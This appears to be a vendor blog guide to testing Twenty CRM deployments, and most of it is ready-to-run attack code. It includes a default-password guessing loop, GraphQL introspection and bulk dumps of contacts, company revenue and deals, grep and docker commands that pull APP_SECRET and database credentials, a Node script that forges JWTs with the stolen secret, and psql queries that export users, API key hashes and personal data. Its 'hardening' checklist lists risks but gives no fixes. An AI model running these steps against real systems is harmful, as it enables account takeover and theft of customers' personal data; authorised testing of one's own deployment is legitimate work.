Twenty CRM Security Testing: Default Credentials, API Token, Database, and .env APP_SECRET

Twenty is a widely deployed open-source CRM platform (Salesforce/HubSpot alternative) built on Node.js with a GraphQL API, used to manage contacts, companies, deals, and customer relationships — it stores all organizational customer data. Key assessment areas: APP_SECRET signs JWT authentication tokens; the GraphQL API provides flexible querying across all CRM objects; PG_DATABASE_URL contains the PostgreSQL connection string with all customer data; and Redis stores active session tokens. The GraphQL introspection endpoint can reveal all available CRM data types and their relationships, enabling targeted data extraction. This guide covers systematic Twenty CRM security assessment.

Table of Contents

  1. Authentication and API Token Testing
  2. GraphQL API CRM Data Enumeration
  3. APP_SECRET and Database Credential Extraction
  4. Twenty CRM Security Hardening

Authentication and API Token Testing

# Twenty CRM — authentication and API token testing
TWENTY_URL="https://twenty.example.com"

# Twenty login — email/password
AUTH=$(curl -s -X POST "${TWENTY_URL}/auth/login" \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@example.com","password":"admin"}' 2>/dev/null)
echo "$AUTH" | python3 -c "
import json,sys
d=json.load(sys.stdin)
token = d.get('loginToken',{}).get('token','') or d.get('token','')
print(f'Token: {token[:50] if token else \"FAIL: \"+str(list(d.keys()))}')
" 2>/dev/null

# Try common passwords
for PASS in "admin" "twenty" "password" "changeme" "admin123"; do
  STATUS=$(curl -s -X POST "${TWENTY_URL}/auth/login" \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"admin@example.com\",\"password\":\"${PASS}\"}" 2>/dev/null | \
    python3 -c "import json,sys; d=json.load(sys.stdin); print('OK' if d.get('loginToken') or d.get('token') else 'FAIL')" 2>/dev/null)
  echo "admin/${PASS}: ${STATUS}"
done

# API key (generated in Settings > API keys)
API_KEY="your-twenty-api-key"
curl -s -X POST "${TWENTY_URL}/api" \
  -H "Authorization: Bearer ${API_KEY}" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ currentUser { id name { firstName lastName } email } }"}' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
u=d.get('data',{}).get('currentUser',{})
name=u.get('name',{})
print(f'User: {name.get(\"firstName\")} {name.get(\"lastName\")} ({u.get(\"email\")})')
" 2>/dev/null

GraphQL API CRM Data Enumeration

# Twenty CRM GraphQL API — CRM data enumeration
TWENTY_URL="https://twenty.example.com"
API_KEY="your-twenty-api-key"

# GraphQL introspection — discover all CRM object types and fields
curl -s -X POST "${TWENTY_URL}/api" \
  -H "Authorization: Bearer ${API_KEY}" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name kind description } } }"}' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
types=[t for t in d.get('data',{}).get('__schema',{}).get('types',[]) if t['kind']=='OBJECT' and not t['name'].startswith('__')]
print(f'GraphQL object types: {len(types)}')
for t in types[:20]:
    print(f'  {t[\"name\"]}')
" 2>/dev/null

# Enumerate all contacts (persons) — email, phone, city
curl -s -X POST "${TWENTY_URL}/api" \
  -H "Authorization: Bearer ${API_KEY}" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ people(first:20) { edges { node { id name { firstName lastName } emails { primaryEmail } phones { primaryPhoneNumber } city jobTitle } } } }"}' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
people=d.get('data',{}).get('people',{}).get('edges',[])
print(f'Contacts: {len(people)}')
for p in people[:10]:
    n=p[\"node\"]
    name=n.get(\"name\",{})
    print(f'  {name.get(\"firstName\")} {name.get(\"lastName\")} email={n.get(\"emails\",{}).get(\"primaryEmail\",\"\")} title={n.get(\"jobTitle\",\"\")}')
" 2>/dev/null

# Enumerate all companies with domain names
curl -s -X POST "${TWENTY_URL}/api" \
  -H "Authorization: Bearer ${API_KEY}" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ companies(first:20) { edges { node { id name domainName { primaryLinkUrl } annualRecurringRevenue { amountMicros currencyCode } employees } } } }"}' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
companies=d.get('data',{}).get('companies',{}).get('edges',[])
print(f'Companies: {len(companies)}')
for c in companies[:10]:
    n=c[\"node\"]
    arr=n.get('annualRecurringRevenue',{})
    print(f'  {n.get(\"name\")} domain={n.get(\"domainName\",{}).get(\"primaryLinkUrl\",\"\")} ARR={arr.get(\"amountMicros\",\"\")}')
" 2>/dev/null

# Enumerate all opportunities/deals with amounts
curl -s -X POST "${TWENTY_URL}/api" \
  -H "Authorization: Bearer ${API_KEY}" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ opportunities(first:20) { edges { node { id name amount { amountMicros currencyCode } stage closeDate probability } } } }"}' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
opps=d.get('data',{}).get('opportunities',{}).get('edges',[])
print(f'Opportunities/Deals: {len(opps)}')
for o in opps[:10]:
    n=o[\"node\"]
    amt=n.get('amount',{})
    micro=amt.get('amountMicros',0)
    print(f'  {n.get(\"name\")} stage={n.get(\"stage\")} amount={int(micro)/1000000:.0f} {amt.get(\"currencyCode\",\"\")} close={n.get(\"closeDate\",\"\")[:10]}')
" 2>/dev/null

APP_SECRET and Database Credential Extraction

# Twenty CRM APP_SECRET and database credential extraction

# .env file
cat /app/.env 2>/dev/null | grep -E "APP_SECRET|PG_DATABASE|REDIS|STORAGE|PASSWORD|SECRET"
# APP_SECRET — JWT signing key
# PG_DATABASE_URL — PostgreSQL connection string
# REDIS_URL — Redis connection
# STORAGE_* — S3/MinIO credentials for file attachments

# Docker environment variables
docker inspect twenty-server 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['APP_SECRET','PG_DATABASE','REDIS','STORAGE','PASSWORD']):
            print(e)
" 2>/dev/null

# Forge JWT token using APP_SECRET
APP_SECRET="extracted-secret"
node -e "
const crypto = require('crypto');
const now = Math.floor(Date.now()/1000);
const h = Buffer.from(JSON.stringify({alg:'HS256',typ:'JWT'})).toString('base64url');
const p = Buffer.from(JSON.stringify({
  sub: 'workspace-member-id',
  workspaceId: 'workspace-id',
  workspaceMemberId: 'member-id',
  iat: now,
  exp: now + 86400
})).toString('base64url');
const s = crypto.createHmac('sha256','${APP_SECRET}').update(h+'.'+p).digest('base64url');
console.log('Token: '+h+'.'+p+'.'+s);
" 2>/dev/null

# PostgreSQL direct access — all CRM data
PG_DATABASE_URL="postgresql://twenty:PASSWORD@localhost/twenty"
psql "$PG_DATABASE_URL" 2>/dev/null << 'EOF'
-- All workspace members (users) with API key hashes
SELECT wm.id, wm.name, u.email, wm.role, wm.created_at
FROM core."workspaceMember" wm
JOIN core.user u ON wm."userId" = u.id
ORDER BY wm.role, wm.created_at DESC
LIMIT 20;
EOF

# API keys stored in database
psql "$PG_DATABASE_URL" 2>/dev/null << 'EOF'
SELECT a.id, a.name, a."tokenHash", a.type,
       a."expiresAt", a."createdAt"
FROM core."apiKey" a
ORDER BY a."createdAt" DESC
LIMIT 20;
EOF

# All contacts with emails — complete CRM export
psql "$PG_DATABASE_URL" 2>/dev/null << 'EOF'
SELECT p.id, p."nameFirstName", p."nameLastName",
       p."emailsPrimaryEmail", p."phonesPrimaryPhoneNumber",
       p."jobTitle", p."city"
FROM workspace.person p
ORDER BY p."createdAt" DESC
LIMIT 50;
EOF

Twenty CRM Security Hardening

Twenty CRM Security Hardening Checklist:
Security TestMethodRisk
GraphQL introspection and full CRM schema discoveryPOST /api with __schema introspection query — reveals all CRM object types, fields, and relationships; enables crafting targeted queries to extract all contacts, companies, deals, and custom objectsHigh
APP_SECRET extraction and JWT token forgeryRead .env APP_SECRET — JWT signing key; forge valid tokens as any workspace member or owner bypassing password authenticationCritical
GraphQL bulk CRM data extractionPOST /api with people/companies/opportunities queries — all contact emails, company financials (ARR), deal pipeline values and stages; complete CRM database exportable via single GraphQL queriesHigh
PostgreSQL direct access and customer data exportRead PG_DATABASE_URL — connect directly to workspace.person, workspace.company, workspace.opportunity tables; complete raw CRM data without API-level access controlsCritical
API key hash extraction from databaseSELECT from core.apiKey — tokenHash for all API keys; hash may be reversible or used to identify active integrations; key metadata reveals which integrations have API accessMedium

Automate Twenty CRM Security Testing

Ironimo tests Twenty CRM deployments for APP_SECRET extraction and JWT token forgery, GraphQL introspection schema discovery, bulk CRM data extraction via GraphQL (contacts/companies/deals), PostgreSQL credential extraction and direct database access, API key database enumeration, Docker environment variable exposure, GraphQL query depth and complexity limit bypass, workspace access boundary testing, Redis session token access, and file attachment storage credential extraction.

Start free scan